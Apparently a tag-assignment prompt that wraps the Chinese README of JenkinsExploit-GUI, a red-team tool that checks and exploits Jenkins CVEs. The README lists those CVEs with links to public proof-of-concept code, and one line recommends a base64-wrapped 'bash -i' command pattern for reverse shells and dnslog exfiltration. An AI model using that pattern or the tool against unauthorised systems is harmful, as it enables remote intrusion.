base on 一款Jenkins的综合漏洞利用工具 # JenkinsExploit-GUI  一款Jenkins综合漏洞利用工具 ## 使用 ### jdk版本 在windows或linux使用jdk8的哪一个版本应该都可以,在macOS里如果出现了找不到主类的错误,可能是因为当前java版本没有jfxrt.jar包,可以把这个jar包放在类似F:\java8\jdk1.8.0_102\jre\lib\ext这样的目录下 jfxrt.jar包在JenkinsExploit-GUI项目源码中可以单独下载下来 ### 外置payload 从release下载windows_tools,linux_tools或macOS_tools并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar相同的目录,或者可以自行打包tools_source中的python源码文件 如果是linux或macOS的话需要对外置payload进行chmod +x 赋予权限   ### dnslog配置 进行dnslog设置,目前仅支持dnslog.pw和ceye.io   ### 进行检测  * 在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shell和dnslog外带信息 ``` bash -c {echo,Y....}|{base64,-d}|{bash,-i} ``` ## 支持检测: - CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行 https://github.com/Medicean/VulApps/tree/master/j/jenkins/1 - CVE-2016-0792 Jenkins XStream反序列化远程代码执行 https://github.com/jpiechowka/jenkins-cve-2016-0792 - CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞 https://github.com/vulhub/CVE-2017-1000353 - CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露 - CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞 https://github.com/orangetw/awesome-jenkins-rce-2019 - CVE-2018-1999002 Jenkins 任意文件读取 https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w - CVE-2019-1003000 Jenkins 远程代码执行 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc - CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过) https://github.com/orangetw/awesome-jenkins-rce-2019 - CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞 https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897 ## 未完待续: - CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc - CVE-2017-1000353 无法检测的bug - 继续尝试把外置的payload接入到java代码中 - 添加批量检测功能 ## 源码打包 ``` mvn clean package -DskipTests cd target zip -d JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA' ``` ## Bug反馈 https://github.com/thebeastofwar/JenkinsExploit-GUI 提交issues ## 文章 [红队武器化开发:jenkins综合漏洞利用工具----JenkinsExploit-GUI](https://www.cnblogs.com/thebeastofwar/p/17991690) ## 免责声明 本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** 如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。 在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。 ## 开发日志 ### v1.0 - 以yhy0师傅的模板项目 https://github.com/yhy0/ExpDemo-JavaFX 为模板,写出了jenkins综合漏洞利用工具 - 部分python的poc还未转成java代码接入到工具中,就打包成可执行文件 ### v1.1 - 添加Jenkins指纹验证和版本获取功能,使得能够通过版本先匹配一下CVE - 修复进行all检测后还得再次对特定的CVE进行检测的bug(经过版本检测后直接转到对应的CVE检测) ### v1.2 - 可以配置dnslog.pw或ceye.io dnslog平台来进行自动化无回显命令执行或SSRF验证 ### v1.3 - 测试在macOS上的运行情况 ## Stargazers over time [](https://starchart.cc/TheBeastofwar/JenkinsExploit-GUI) ", Assign "at most 3 tags" to the expected json: {"id":"8341","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"